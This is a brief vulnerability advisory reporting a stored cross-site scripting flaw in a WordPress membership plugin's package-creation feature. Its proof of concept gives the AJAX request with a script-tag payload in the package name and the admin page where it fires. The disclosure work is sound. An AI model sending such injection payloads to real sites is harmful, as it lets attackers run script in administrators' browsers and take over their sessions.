Description
================================================================================

Once a user is registered he can add new subscription packages or modify 
existing ones. No data sanitization is 
taking place before saving package details in DB. This allows a malicious user 
to include JS code in package name 
and/or package description.

PoC
================================================================================

- Send a post request to `http://vuln.site.tld/wp-admin/admin-ajax.php` with 
data: 
    `action=package_add_new&p_name=a<script>alert(1)</script>`
- Visit `http://vuln.site.tld/wp-admin/admin.php?page=userultra&tab=membership` 
as admin or go to the page that 
    contains package information at front end.
